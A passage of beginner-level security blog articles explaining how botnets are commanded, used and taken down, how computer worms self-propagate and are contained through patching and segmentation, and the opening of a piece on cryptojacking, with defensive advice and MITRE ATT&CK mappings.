rented and reused for many jobs: distributed denial-of-service attacks, spam, credential stuffing, click fraud, proxy services, and spreading more malware. - Takedowns often work by sinkholing, redirecting the traffic bots use to reach their controller so it flows to defenders instead, cutting the operator off from the herd. ### Key Takeaways - Any internet-connected device can be a bot: computers, servers, routers, and poorly secured Internet-of-Things gadgets are all recruited, often through default credentials. - Centralized botnets are easier to command but easier to decapitate; peer-to-peer botnets are more resilient but harder for the operator to run. - Command-and-control on MITRE ATT&CK maps to techniques like Application Layer Protocol (T1071), which describes bots hiding their traffic inside ordinary protocols. - Sinkholing, domain seizures, and coordinated infrastructure takedowns are the main disruption tools, and durable takedowns usually require going after the operators themselves, since seized servers get rebuilt. - Defense splits in two: keep your own devices out of botnets with patching and credential hygiene, and defend your services against botnet-driven attacks like DDoS and credential stuffing. One infected computer is a problem for its owner. Thousands of infected devices, all taking orders from the same operator at the same moment, are a problem for everyone else. That is a botnet: an army of hijacked machines, coordinated at scale, pointed at whatever target or task the operator chooses. The individual owners usually have no idea their device is enlisted. A botnet is a network of internet-connected devices infected with malware and controlled together by a single operator, often called a bot herder. Each infected device, a bot, quietly does its normal job for its owner while also waiting for instructions from the operator's command-and-control system. The power is in the numbers and the coordination. ## What gets recruited into a botnet Anything that connects to the internet and runs code is a candidate. Botnets are built from: - **Home and office computers**, infected through the usual malware routes. - **Servers**, especially internet-facing ones with unpatched vulnerabilities. - **Routers and network gear**, often running old firmware. - **Internet-of-Things devices**: cameras, recorders, smart appliances, frequently shipped with default passwords that were never changed. That last category matters. Cheap connected devices with default credentials and no update path are ideal recruits, because they are numerous, always on, and rarely monitored. Many of the largest botnets are built substantially from such devices. ## How botnets are commanded The command structure is what turns a scatter of infections into a coordinated force, and it shapes how resilient the botnet is. **Centralized command-and-control.** Bots connect to one or a few servers to receive instructions and report back. This is simple to operate: the herder issues one command and the herd acts. Its weakness is the same as its strength. Take down the central servers and the whole botnet goes dark. Bots hide this traffic inside ordinary protocols to blend in, which maps to MITRE ATT&CK [Application Layer Protocol (T1071)](https://attack.mitre.org/techniques/T1071/). **Peer-to-peer command-and-control.** Instead of central servers, bots relay commands among themselves. Any bot can pass an instruction to its neighbors, so there is no single server to seize. This is far more resilient against takedown, at the cost of being slower and harder for the operator to control. **Domain generation.** To resist seizure, many botnets have their bots compute a changing list of rendezvous domains, so defenders cannot simply block one address. The operator registers whichever domain the algorithm will produce next; defenders must predict and pre-empt them. Centralized botnets are easy to command and easy to decapitate. Peer-to-peer botnets survive server takedowns but are clumsier to run and slower to update. Operators pick a structure by trading control against durability, and defenders exploit whichever weakness that choice creates. ## What botnets are used for A botnet is general-purpose infrastructure. Once built, it is rented out and pointed at whatever pays. Common jobs: - **Distributed denial-of-service (DDoS).** Every bot floods a target with traffic at once, overwhelming it. This maps to [Network Denial of Service (T1498)](https://attack.mitre.org/techniques/T1498/), and it is the use botnets are best known for. - **Spam and phishing distribution.** Thousands of machines sending mail spread the load and dodge simple blocklists. - **Credential stuffing and brute force.** Bots test stolen username and password pairs against many sites in parallel, from many addresses, evading rate limits. - **Proxy and anonymization services.** Infected devices are resold as residential proxies, laundering an attacker's traffic through innocent victims' connections. - **Click fraud and ad abuse.** Bots generate fake ad clicks and impressions for money. - **Malware and cryptomining distribution.** The botnet spreads further payloads or quietly mines cryptocurrency on every enlisted device. The same herd can switch between these jobs, which is why a botnet is valuable long after it is built. ## Command structures compared | Structure | Operator control | Takedown resistance | Typical disruption method | |---|---|---|---| | Centralized servers | High, fast to command | Low, one point of failure | Server seizure and domain blocking | | Peer-to-peer | Lower, slower to update | High, no single point | Poisoning the peer network | | Domain-generation rendezvous | Moderate | Moderate to high | Pre-registering or sinkholing generated domains | The trade is always control against survivability, and every choice an operator makes opens a specific line of attack for defenders. ## How botnets are taken down Disrupting a botnet means cutting the operator off from the herd. The main techniques: **Sinkholing.** Defenders take over the domains or addresses that bots use to reach their controller and redirect that traffic to servers they control, called sinkholes. The bots keep phoning home, but their calls now reach defenders instead of the operator. This severs command and lets responders measure the botnet and notify victims. Sinkholing is most effective against centralized and domain-generation botnets, where there is a rendezvous point to capture. **Domain and infrastructure seizure.** Coordinated legal and technical action seizes the domains, servers, and accounts the botnet depends on, often across several countries at once to prevent the operator from simply failing over. **Peer poisoning.** Against peer-to-peer botnets, defenders inject their own nodes to disrupt how commands propagate, degrading the network from inside since there is no central server to seize. Infrastructure takedowns disrupt, but operators rebuild. Durable results usually require identifying and prosecuting the people running the botnet, which is why takedowns pair technical action with law enforcement. The malware that recruits new bots is delivered like any other, often through an abused file format arriving by phishing or a poisoned download. Our File-Format Abuse Atlas catalogues those delivery formats and how to detect them, which is where you stop a device from being enlisted in the first place. The crews that build, rent, and operate botnets are tracked in our Threat Groups directory, so you can connect a campaign to its operator. ## How to defend against botnets Defense has two fronts: keep your own devices out of botnets, and protect your services from botnet-driven attacks. Keeping your devices out of a botnet: 1. **Change default credentials on everything, especially IoT.** Default passwords are how the largest device botnets recruit. A unique, strong credential on every connected device removes the easiest recruitment path. 2. **Patch firmware and software.** Routers, cameras, and servers with known vulnerabilities are prime recruits. Keep them current or replace gear that no longer receives updates. 3. **Segment and monitor connected devices.** Put IoT and untrusted devices on their own network segment, and watch for the outbound command-and-control traffic that signals an infection. 4. **Block known command-and-control destinations.** Threat-intelligence feeds and DNS filtering can stop a bot from reaching its controller, neutralizing an infected device even before cleanup. Defending your services against botnet attacks: 5. **Prepare for DDoS.** Use upstream scrubbing or a mitigation service so a traffic flood does not take you offline, and rehearse the response. 6. **Rate-limit and add friction to logins.** Defend against credential stuffing with rate limiting, anomaly detection, and phishing-resistant authentication, so a botnet cannot cheaply test stolen passwords against you. A botnet infection shows up as unexpected outbound connections: a camera or router repeatedly contacting an unfamiliar address. Monitoring and filtering outbound traffic catches enlisted devices that inbound defenses missed, and blocking the command-and-control destination disables the bot even before you can clean it. ## A worked example: how a flood comes together Following one job from start to finish shows how the pieces connect. Suppose an operator has quietly built a herd of tens of thousands of infected home routers and cameras, each recruited through an unchanged default password. Day to day, those devices do nothing unusual. They serve their owners, and in the background they hold an open path to the operator's command-and-control channel, checking in on a schedule and waiting. A buyer rents the herd for an hour to knock a target offline. The operator issues one instruction through the command channel: send traffic to a specific address and port, starting now. Because the bots are already connected and waiting, the instruction propagates in seconds. Every device begins sending traffic to the target at once. No single camera sends much, and a camera sending a trickle of traffic looks unremarkable. Tens of thousands of them together saturate the target's capacity, and the service goes down. This is a distributed denial-of-service, and it maps to [Network Denial of Service (T1498)](https://attack.mitre.org/techniques/T1498/). The distributed nature is what makes it hard to stop. The traffic arrives from tens of thousands of separate, legitimate-looking addresses belonging to innocent owners, so blocking any one of them accomplishes nothing, and blocking all of them means blocking a large slice of ordinary internet users. When the rented hour ends, the operator sends a stop command, the bots fall silent, and the same herd is ready for the next buyer and a different job entirely. The devices were never damaged, their owners never noticed, and the infrastructure remains intact for reuse. ## What gets recruited, compared Not every recruited device serves the same purpose, and the mix shapes what a botnet is good for. | Device type | Why it is recruited | Best suited for | |---|---|---| | Home and office computers | Rich compute, general-purpose, common malware routes | Spam, credential stuffing, malware spreading | | Internet-facing servers | High bandwidth and uptime, unpatched services | Large traffic floods, hosting further payloads | | Routers and network gear | Always on, old firmware, sits on the network path | Traffic floods, traffic redirection, proxying | | Internet-of-Things devices | Numerous, default credentials, no updates, unmonitored | Massive device floods, residential proxying | The pattern is that abundant, always-on, poorly maintained devices contribute numbers and bandwidth, while richer machines contribute the compute for jobs like credential testing and mining. An operator values a mix, because different buyers want different capabilities from the same herd. ## Common misconceptions Several beliefs about botnets lead defenders to underestimate them. - **A botnet needs a central server.** Many do, and peer-to-peer and domain-generation designs remove that single point deliberately, which is what makes them survive server seizures. Assuming there is always one address to block leaves you unprepared for the resilient designs. - **Only computers get recruited.** Cameras, routers, recorders, and smart appliances make up a large share of the biggest botnets, precisely because they are numerous and rarely secured. Ignoring device security leaves the easiest recruitment path wide open. - **An infected device shows obvious symptoms.** A bot keeps doing its normal job and stays quiet to avoid getting cleaned up, so the owner typically notices nothing. The signals live in outbound network traffic, not in obvious device misbehavior. - **Taking down the servers ends the botnet.** Seized infrastructure gets rebuilt, and operators fail over to backups. Durable disruption usually requires going after the people running the botnet, which is why takedowns pair technical action with law enforcement. - **A botnet does one thing.** The same herd switches between denial-of-service, spam, credential stuffing, proxying, click fraud, and mining depending on what pays. Its flexibility is exactly why it stays valuable long after it is built. ## The life cycle of a botnet A botnet is not a single event. It moves through stages, and each stage is a place a defender can intervene. The first stage is recruitment. Malware reaches a device through a phishing attachment, a drive-by download, an exploited service, or a scan that finds a device still running default credentials. The payload runs and the device becomes a bot. For the largest device botnets, this recruitment is fully automated: infected devices scan the internet for more devices with weak or default logins and infect them in turn, so the herd grows on its own without the operator lifting a finger. The second stage is rendezvous. A fresh bot needs to find its command-and-control channel. It may connect to a hard-coded server, resolve a domain from a generation algorithm, or reach into a peer network to find its neighbors. This is the moment a bot is loudest on the network, because it must reach out to something it does not yet trust, and it is where outbound monitoring has its best chance to catch an infection. The third stage is tasking. Once in contact with its controller, the bot waits for instructions and executes whatever job it is given, whether that is joining a traffic flood, sending spam, or testing stolen credentials. A single bot may sit idle for long stretches and then activate in unison with thousands of others when the operator sells the herd's capacity. The final stage is maintenance and monetization. The operator updates the malware, adds resilience, prunes cleaned devices, and rents the herd out. A botnet that survives cleanup and takedown attempts keeps earning, which is why operators invest in the resilience mechanisms that make disruption hard. ## Detection signals A botnet infection is designed to be quiet on the host, so the clearest signals are on the network and in the aggregate. - **Unexpected outbound connections.** A camera, router, or workstation repeatedly contacting an unfamiliar external address, especially on an odd schedule, is the classic sign of a bot phoning home to its controller. - **Beaconing patterns.** Command-and-control traffic often shows a regular heartbeat, a connection at steady intervals, that stands out from the irregular timing of human-driven traffic once you baseline what normal looks like. - **Traffic to generated domains.** A device resolving a stream of long, random-looking domain names, most of which fail, is a strong indicator of a domain-generation algorithm searching for its live rendezvous point. - **Protocol anomalies.** Bots hide command traffic inside ordinary protocols, which maps to MITRE ATT&CK [Application Layer Protocol (T1071)](https://attack.mitre.org/techniques/T1071/). Traffic that uses a common protocol in an uncommon way, such as unusual request patterns or payloads, can reveal the tunnel. - **Participation in floods.** A sudden surge of outbound traffic to a single external target suggests the device has been tasked into a denial-of-service job, mapping to [Network Denial of Service (T1498)](https://attack.mitre.org/techniques/T1498/). - **Login attempts from your address range.** If your devices are enlisted for credential stuffing, you may see outbound bursts of authentication attempts to many third-party services. Because a bot keeps doing its normal job while it waits for orders, the device's owner rarely notices anything. The signals live in the network traffic and in patterns visible only across many connections, which is why monitoring outbound flows and command-and-control destinations catches enlisted devices that the device itself gives no sign of hosting. ## How botnets evolved Early botnets often coordinated through public chat protocols, where bots joined a channel and read commands the operator posted. That was simple and effective until defenders learned to find and shut the channels, which decapitated the whole botnet at once. The pressure of takedowns pushed operators toward more resilient designs. The response came in stages. Operators moved command traffic into ordinary web protocols so it blended with normal browsing. They added domain-generation algorithms so there was no single fixed address to seize. They built peer-to-peer structures so there was no central server at all. In parallel, the target set widened dramatically as cheap internet-connected devices proliferated, many shipping with default credentials and no update path, giving operators a vast and easily recruited population. The through-line across this history is a constant trade between the operator's need to control the herd and the need to survive disruption, with each defensive advance answered by a design that spread the botnet's coordination more widely. ## Frequently asked questions **How does a device end up in a botnet?** Through the same routes as any malware infection: a phishing attachment, a drive-by download, an exploited unpatched service, or an automated scan that finds a device still using default credentials. Many device botnets grow by having infected devices scan for and infect other weakly secured devices automatically. **Can my home router or camera really be part of a botnet?** Yes, and these are among the most common recruits. Cheap connected devices are numerous, always on, rarely monitored, and often ship with default passwords that were never changed, which makes them ideal bots. Changing default credentials and keeping firmware current removes the easiest recruitment path. **Why are some botnets so hard to take down?** Resilience comes from the command structure. A centralized botnet dies when its servers are seized, but a peer-to-peer botnet has no central server to seize, and a domain-generation design constantly changes the address bots look for. Durable takedowns usually require identifying and prosecuting the operators, because seized infrastructure gets rebuilt. **What is sinkholing?** Sinkholing is when defenders take over the domains or addresses that bots use to reach their controller and redirect that traffic to servers they control. The bots keep phoning home, but their calls reach defenders instead of the operator, which severs command and lets responders measure the botnet and notify victims. **How do I know if a device on my network is a bot?** Watch outbound traffic. Unexpected connections to unfamiliar addresses, a regular beaconing heartbeat, a stream of failed lookups for random-looking domains, or sudden traffic surges toward a single target are all signals. Monitoring and filtering outbound flows catches enlisted devices that inbound defenses missed. **What is the difference between a botnet and a single piece of malware?** A single infection affects one device and its owner. A botnet is many infected devices controlled together through a command-and-control channel, so the operator can direct thousands of machines at once. The power is in the numbers and the coordination, which is what makes a botnet valuable long after it is built. **Is defending against botnets different from defending against their attacks?** Yes, and you need both. Keeping your own devices out of a botnet is about credential hygiene, patching, segmentation, and outbound monitoring. Defending your services against botnet-driven attacks such as denial-of-service and credential stuffing is about scrubbing capacity, rate limiting, anomaly detection, and phishing-resistant authentication. **Why do operators rent botnets out instead of using them directly?** Renting turns the herd into recurring income and spreads the risk. A buyer pays for an hour of flooding or a batch of spam, and the operator keeps the infrastructure and reuses it for the next customer. This rental model is why a botnet is treated as general-purpose infrastructure, built once and monetized many times across many different jobs and buyers. **Does a botnet stop working if I clean one infected device?** Cleaning one device removes that one bot, and the botnet continues with the rest. For your own protection that cleanup matters, and blocking the command-and-control destination disables the bot even before you finish cleaning it. Disrupting the whole botnet is a separate effort that targets the operator's command infrastructure. Botnets endure because they are flexible, rentable infrastructure built from other people's devices. You fight them from both ends: secure and monitor your own connected devices so they are never recruited, and harden your services so the herd has nothing to gain when it is pointed at you. Change the default password, patch the firmware, and watch the outbound traffic, and you deny the botnet the two things it runs on, numbers and quiet. ## Related guides - [What Is a Cryptojacker](/what-is-a-cryptojacker) - [Command and Control Explained](/command-and-control-explained) - [DDoS Attacks Explained](/ddos-attacks-explained) - [DNS Tunneling Explained](/dns-tunneling-explained) ### Sources - MITRE ATT&CK: Application Layer Protocol (T1071) (MITRE): https://attack.mitre.org/techniques/T1071/ - MITRE ATT&CK: Network Denial of Service (T1498) (MITRE): https://attack.mitre.org/techniques/T1498/ - CISA: Guidance on Securing Devices and Preventing DDoS (CISA): https://www.cisa.gov/ --- ## What Is a Computer Worm? Self-Spreading Malware Explained > A computer worm copies itself across networks with no human help. How worms spread so fast, and how patching and segmentation stop them. - URL: https://blog.pwnsy.com/what-is-a-computer-worm - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: beginner - Category: malware - Tags: computer-worm, malware, self-propagation, network-security, patching - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling), [Network Segmentation Guide: Zones, Microsegmentation & Rollout](https://blog.pwnsy.com/network-segmentation-guide) ### TL;DR - A computer worm is malware that copies itself from machine to machine on its own, with no need for a user to open a file or click a link to keep it spreading. - That self-propagation is the defining trait: a virus needs a host file and a user action, while a worm carries everything it needs to find and infect the next target. - Worms spread by exploiting network-service vulnerabilities, abusing valid credentials, or seeding removable media, and their growth can be exponential across a flat network. - The strongest defenses are the ones that limit spread: fast patching of network services, segmentation that contains movement, and least-privilege access. ### Key Takeaways - A worm's payload is separate from its spreading engine; the same self-propagation can carry ransomware, a wiper, a botnet agent, or nothing beyond the spread itself. - Because worms move without user interaction, awareness training helps far less than it does against phishing; the technical controls do the work. - Exploitation of a remote service maps to MITRE ATT&CK Exploitation of Remote Services (T1210), and spread over shared media maps to Replication Through Removable Media (T1091). - A flat network is a worm's ideal habitat; segmentation turns one exponential outbreak into several small, contained ones. - Patching internet-facing and internal network services quickly is the single highest-value control, because unpatched services are the doors worms walk through. Most malware needs a person to make a mistake: open the attachment, run the installer, click the link. A computer worm removes that dependency. Once it lands on a network, it finds the next vulnerable machine, copies itself there, and repeats, with no one clicking anything. That single property, self-propagation, is what makes worms capable of sweeping an organization in minutes. A computer worm is malware that spreads by replicating itself across systems on its own. It carries the code it needs to locate new targets and infect them, so its growth is not gated by human behavior. Give it a vulnerable, well-connected network and one infected host can become thousands. ## Worm versus virus: the key difference The terms get used interchangeably, but they describe different mechanics. A **virus** attaches itself to a host file or program. It spreads when a user runs that infected host, and the infection moves at the pace of people sharing and opening files. Remove the user action and a classic virus stalls. A **worm** is self-contained. It does not need a host file and does not wait for a user. Its own code scans for reachable targets, exploits a weakness or reuses a credential to get in, and drops a copy of itself that starts the cycle again. The spreading engine is built in. That difference is why worms are measured in speed. A virus spreads at human pace. A worm spreads at network pace. ## How worms propagate A worm needs a way onto the next machine. Historically and today, three routes dominate. **Exploiting network services.** The classic worm scans for a vulnerable, internet-facing or internal network service and exploits it to run code on the target with no credentials and no user. This maps to MITRE ATT&CK [Exploitation of Remote Services (T1210)](https://attack.mitre.org/techniques/T1210/). A single unpatched service, repeated across thousands of hosts, is the fuel for the fastest outbreaks on record. **Abusing valid credentials.** Some worms spread by reusing passwords, tokens, or trust relationships, hopping between machines that share the same local administrator password or an over-permissioned account. No exploit is needed; the network's own access model does the work. **Removable media.** Worms can seed themselves onto USB drives and network shares, then execute when the media is connected to a new machine. This maps to [Replication Through Removable Media (T1091)](https://attack.mitre.org/techniques/T1091/), and it is how worms cross into networks that are not directly reachable from the internet. A worm's self-propagation is a delivery mechanism, and it can carry anything. The same spreading engine might drop ransomware, a wiper, a botnet agent, or a cryptominer on every machine it reaches. Some of the most damaging incidents on record were worms whose payload turned a fast-spreading nuisance into network-wide destruction. Defend the spread and you blunt whatever it was carrying. ## Why the spread can be exponential The danger is compounding. If each infected machine reaches several more, and each of those reaches several more, the count climbs geometrically. On a flat network, where any host can talk to almost any other, there is little to slow that curve. The worm finds targets faster than responders can isolate them. Two conditions make an environment a worm's ideal habitat: a widespread unpatched vulnerability, so every machine is a valid target, and a flat network, so every machine is reachable. Remove either one and the outbreak curve flattens. Remove both and a worm struggles to move at all. The compounding also explains why worms are so hard to fight once they are running. Manual response scales linearly: a team isolates one host, then the next. The worm scales geometrically. By the time responders have cleaned a batch of machines, the infection has already jumped to many more. Winning that race means slowing the worm structurally before the incident, so that human response can keep pace when it starts. The delivery that seeds the first infection is often an abused file format arriving by phishing or a poisoned download, a script, an archive, or a malicious installer, before the network spread even begins. Our File-Format Abuse Atlas catalogues those delivery formats and how to detect them, which is one place to stop patient zero before the self-propagation starts. ## Delivery routes compared | Propagation method | What it exploits | What stops it | |---|---|---| | Network-service exploit | An unpatched, reachable service | Fast patching and segmentation | | Credential reuse | Shared or over-permissioned accounts | Unique credentials and least privilege | | Removable media | Auto-run and human transfer of drives | Disabling auto-run and controlling media | | Shared network drives | Writable shares reachable across the network | Tight share permissions and segmentation | The right column is the important one. Every route has a control that either shuts the door or limits how many doors the worm can reach. ## How to defend against worms Because worms spread without user interaction, awareness training does much less here than it does against phishing. The technical controls carry the defense, and they are the ones that limit reach and remove targets. 1. **Patch network services quickly.** The vulnerabilities worms exploit are usually known, with fixes available. A tight patch cycle for internet-facing and internal services removes the doors before a worm arrives. This is the single highest-value control. 2. **Segment the network.** Divide the environment so that a compromise in one zone cannot freely reach the rest. Segmentation turns one exponential outbreak into several small, contained ones, and it buys responders the time a flat network denies them. 3. **Enforce least privilege and unique credentials.** Remove shared local administrator passwords and over-broad accounts so a worm cannot reuse one credential to walk the whole network. 4. **Control removable media and disable auto-run.** Stop drives from executing code automatically and manage which devices can connect, closing the offline propagation path. 5. **Restrict lateral pathways.** Limit which machines can reach service ports on other machines. A worm that cannot open a connection to its next target cannot spread to it. 6. **Prepare to isolate fast.** Have a rehearsed way to cut network segments or pull hosts offline. Against a worm, containment speed is everything, because every minute of spread multiplies the cleanup. If you can only invest in one thing, make it segmentation, because it limits every worm regardless of the vulnerability it uses. Layer fast patching on top to remove targets, and keep a rehearsed isolation procedure ready so that when something does spread, you can wall it off before the curve turns exponential. Worms that self-propagate at scale often feed larger operations, seeding the compromised machines that make up botnets and the footholds that ransomware crews resell. Our Threat Groups directory tracks the actors that weaponize fast-spreading malware, so you can connect an outbreak to the campaign behind it. A computer worm is dangerous for one reason: it does not wait for anyone. It finds the next weak machine and takes it, over and over, at network speed. That is also its weakness. Take away the reachable, unpatched targets it needs, through segmentation, fast patching, and least privilege, and the self-propagation that makes a worm frightening simply runs out of room. ## The anatomy of a worm A worm is easier to reason about when you break it into the functional parts every self-propagating program needs. Not every worm has all of these, and the classic ones do, and mapping the parts helps you see where a defense bites. The first part is the target-discovery component, sometimes called the scanning engine. Before a worm can spread it needs a list of reachable candidates. Some worms scan ranges of network addresses looking for a specific open port. Others read the infected host's own data for targets, such as address books, known hosts files, cached credentials, or entries that reveal other machines the host talks to. The discovery method shapes how the worm moves, because a worm that scans blindly behaves differently from one that follows trust relationships already present on the host. The second part is the propagation or exploitation component, the mechanism that actually gets code onto the next machine. This is the exploit against a vulnerable service, the credential reuse that logs in as a legitimate user, or the file written to removable media that runs when the drive is mounted. This component is the door the worm walks through, and it is the part most directly closed by patching and access controls. The third part is the payload, the code that runs on each infected machine beyond the spread itself. The payload is independent of the propagation. The same spreading engine can carry ransomware, a wiper that destroys data, a botnet agent that awaits commands, a cryptominer, a backdoor, or nothing at all beyond continuing to spread. Treating the payload as a separate module explains why two worms that spread identically can have completely different consequences. The fourth part, present in more advanced worms, is the persistence and evasion component. This is what keeps the worm running after a reboot and helps it avoid detection, through techniques such as disabling security tools, hiding processes, or blending into normal system activity. When you analyse or defend against a worm, separate its three core functions: how it finds targets, how it infects them, and what it does once inside. Each function has its own controls. Restricting reachability blinds the discovery engine, patching and least privilege close the propagation door, and the payload's damage is limited by everything from backups to segmentation. A worm only succeeds when all three functions work at once. ## A worked example of exponential spread The abstract claim that worm growth is exponential becomes concrete with a simple model. Suppose one infected machine can find and infect an average of three new vulnerable machines before defenders react, and that each newly infected machine does the same. Start with a single compromised host, generation zero. After the first round of spreading there are three new infections, four machines total. After the second round each of those three infects three more, adding nine, for thirteen total. The third round adds twenty-seven. The fourth adds eighty-one. By the sixth round the newly infected count in that single round is over seven hundred, and the running total is well past a thousand, all descending from one host. The curve is not steady, it accelerates, because every machine the worm takes becomes a new source of infection. This model also shows why the flatness of a network matters so much. The multiplier of three in the example is the average number of reachable, vulnerable machines each host can hit. On a flat network where any host can reach almost any other, that multiplier is large, and the curve is steep. Cut the network into segments where a host can only reach a handful of others, and the multiplier collapses toward one or below, at which point the outbreak either crawls or dies out. The same worm code produces a network-wide disaster on a flat network and a contained nuisance on a segmented one. The compounding is also why response timing is decisive. A response team works at a linear pace, cleaning one machine, then the next. The worm works at a geometric pace. If the worm doubles its footprint faster than the team can clean, the team falls further behind with every passing minute even while working flat out. Winning the race means changing the structure before the incident, so that when a worm starts, the human response can actually keep up with a slowed curve. ## Detection signals: how a worm outbreak looks A spreading worm leaves a distinctive footprint, and the signals are mostly about volume and repetition rather than any single clever indicator. A sharp rise in internal network scanning is often the earliest sign. Worms that discover targets by scanning generate many connection attempts to the same port across a wide range of internal addresses. A single workstation suddenly trying to reach hundreds of other hosts on one service port is behaving nothing like a normal user machine. Repeated identical connections from many hosts to many hosts is another pattern. Because every infected machine runs the same propagation code, the traffic they generate looks alike. Seeing the same unusual connection pattern replicated across dozens of endpoints points to a common automated cause. A surge in authentication events, especially failures, suggests a worm spreading by credential reuse. A machine attempting to log in to many others in quick succession, or a spike of logons using the same account across the environment, is a signature of that propagation route. Endpoint indicators include unexpected new processes or services appearing across many machines at once, the same file written to multiple removable drives or shares, and security tools being disabled on several hosts in a short window. The tell is simultaneity: a worm hits many machines in a compressed timeframe, so the same anomaly showing up broadly and suddenly is more telling than the anomaly itself. Outbound traffic can reveal the payload rather than the spread. If infected machines begin beaconing to an external address, exfiltrating data, or generating cryptomining traffic, that is the payload announcing itself, and it often confirms an infection that the scanning already hinted at. ## Worms compared with other malware Worms sit within a broader malware landscape, and the boundaries are worth drawing precisely because the terms are used loosely. | Type | How it spreads | Needs user action | Defining trait | |---|---|---|---| | Worm | Copies itself across systems on its own | No | Autonomous self-propagation | | Virus | Attaches to a host file, spreads when the file runs | Yes | Requires a host and execution | | Trojan | Disguised as legitimate software the user installs | Yes | Deception, no self-spread | | Ransomware | Delivered by other means, then encrypts data | Varies | A payload, not a spread method | | Botnet agent | Installed by a worm, trojan, or exploit | Varies | Remote control, a payload | The important reading of this table is that worm, virus, and trojan describe how something spreads, while ransomware and botnet agent describe what something does. Those axes are independent. A worm can carry ransomware, a trojan can install a botnet agent, and a virus can drop a wiper. This is why the worm question is always about propagation, and the payload question is always separate. A worm that spreads ransomware is both a worm and a ransomware incident, and the propagation and the payload are defended differently. ## Common misconceptions about worms A few beliefs about worms lead to misplaced defenses. Antivirus alone will stop a worm. Signature-based detection helps against known worms, and a novel or fast-moving worm can spread faster than signatures update, and can disable endpoint tools as part of its payload. The controls that limit reach and remove targets, segmentation and patching, do not depend on recognising the specific worm, which is why they matter more. User training is the main defense. Training is valuable against phishing and trojans that need a user to act. A worm spreads without user interaction, so training does far less against it. The defense is technical: reduce reachable vulnerable targets and contain movement. Worms are a problem of the past. The propagation techniques worms use, exploiting exposed services and reusing credentials across flat networks, are as available now as ever, and modern ransomware operations frequently add worm-like self-spreading to reach more machines faster. The self-propagation idea did not go away, it got absorbed into current attacks. A worm without a destructive payload is harmless. Even a worm that does nothing but spread consumes bandwidth, destabilises services, and creates a footprint on every machine it touches that an attacker can later use. The compromise itself is the harm, regardless of the payload, and the same access can be repurposed at any time. Air-gapped networks are immune. A network with no internet connection is out of reach of internet-borne scanning, and it is still reachable through removable media. Worms that seed themselves onto USB drives exist precisely to cross that gap when someone carries a drive across it. ## How worms evolved The worm is one of the oldest categories of self-replicating code, and its history is a history of network reach. The earliest widely known worms spread across the small, trusting networks of early interconnected systems, exploiting weak services and default access. Their significance was less the damage of any single one and more the demonstration that a program could move through a network on its own, faster than administrators could respond by hand. As networks grew and standardised on common services, worms found a much larger monoculture to exploit. A single vulnerability present on a widespread service meant millions of identical targets, and the fastest worms of the early internet era saturated reachable address space in remarkably short times, because they scanned aggressively and every machine they found ran the same vulnerable software. This period established the pattern that a widespread unpatched vulnerability plus broad reachability equals an outbreak. The modern shift is that self-propagation became a feature bolted onto targeted attacks rather than an end in itself. Ransomware crews and other operators added worm-like spreading to their tooling so that a single foothold could become an entire encrypted network without manual movement to each machine. The propagation techniques map cleanly to catalogued behaviours: exploitation of a remote service is MITRE ATT&CK Exploitation of Remote Services, and spread over shared media is Replication Through Removable Media. The lesson across every era holds: worms thrive on reachable, unpatched, uniformly configured machines, and they wither when those conditions are removed. ## Frequently asked questions **What is the difference between a worm and a virus?** A virus attaches itself to a host file or program and spreads only when a user runs that infected host, so it moves at human pace. A worm is self-contained and copies itself across systems on its own, needing no host file and no user action. That autonomy is why worms spread at network speed and viruses do not. **Can a worm exist without doing damage?** Yes. A worm's payload is separate from its spreading engine, and a worm can carry no payload beyond continuing to spread. Even then it is not harmless, because it consumes resources, can destabilise services, and leaves a compromise on every machine it reaches that an attacker can later exploit. **Why is patching the top defense against worms?** The vulnerabilities worms exploit are usually known, with fixes already available, and a worm spreads by hitting the same unpatched service across many machines. Fast patching removes those doors before a worm arrives, and because it eliminates the targets rather than merely slowing the worm, it is the single highest-value control. **How does network segmentation stop a worm?** Segmentation limits which machines can reach which others, which directly reduces the number of new hosts each infected machine can find and infect. That turns an exponential outbreak on a flat network into several small, contained ones, and it buys responders the time a flat network denies them. **Do worms still matter now that networks are more secure?** Yes. The techniques worms use remain available, and modern ransomware and other attacks routinely add worm-like self-spreading to move through a network automatically after a single break-in. Self-propagation did not disappear, it became a component of current attacks, so the defenses against it are still directly relevant. **Can a worm spread to a network with no internet connection?** It can, through removable media. Worms that write themselves onto USB drives and network shares execute when the media is connected to a new machine, which lets them cross into air-gapped networks that internet-borne scanning cannot reach. Disabling auto-run and controlling which devices can connect closes this path. **What should I do first if I suspect a worm is spreading?** Prioritise containment over cleanup, because the worm multiplies faster than you can clean individual machines. Isolate affected network segments or pull infected hosts offline to stop the spread, then identify the propagation method so you can close it, and only then work through remediation. Speed of containment decides how large the outbreak becomes. ## Related guides - [What Is a Botnet](/what-is-a-botnet) - [Lateral Movement Explained](/lateral-movement-explained) - [Network Segmentation Guide](/network-segmentation-guide) - [Vulnerability Management Lifecycle](/vulnerability-management-lifecycle) ### Sources - MITRE ATT&CK: Exploitation of Remote Services (T1210) (MITRE): https://attack.mitre.org/techniques/T1210/ - MITRE ATT&CK: Replication Through Removable Media (T1091) (MITRE): https://attack.mitre.org/techniques/T1091/ - CISA: Guidance on Patching and Vulnerability Management (CISA): https://www.cisa.gov/ --- ## What Is a Cryptojacker? Unauthorized Mining Malware > Cryptojackers steal your compute to mine cryptocurrency for someone else. Browser vs host mining, spotting it by resource use, and how to defend. - URL: https://blog.pwnsy.com/what-is-a-cryptojacker - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: beginner - Category: malware - Tags: cryptojacking, malware, cryptomining, cloud-security, resource-abuse - Related: [Terraform Security Checklist: 12 Settings Behind Cloud Breaches](https://blog.pwnsy.com/terraform-security-checklist), [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [The Capital One Breach: SSRF, Metadata Credentials, 100 Million Records](https://blog.pwnsy.com/capital-one-breach-explained) ### TL;DR - A cryptojacker is malware that secretly uses someone else's device to mine cryptocurrency, stealing computing power, electricity, and cloud spend for the attacker's profit. - There are two forms: browser-based mining that runs in a web page while you visit it, and host-based mining that installs on the machine and keeps running in the background. - The malware rarely steals or destroys data, so the tells are performance: high processor use, heat, fan noise, slow response, and rising electricity or cloud bills. - The biggest payouts come from cloud and container environments, where a single misconfiguration can hand an attacker large-scale compute that bills straight to the victim. ### Key Takeaways - 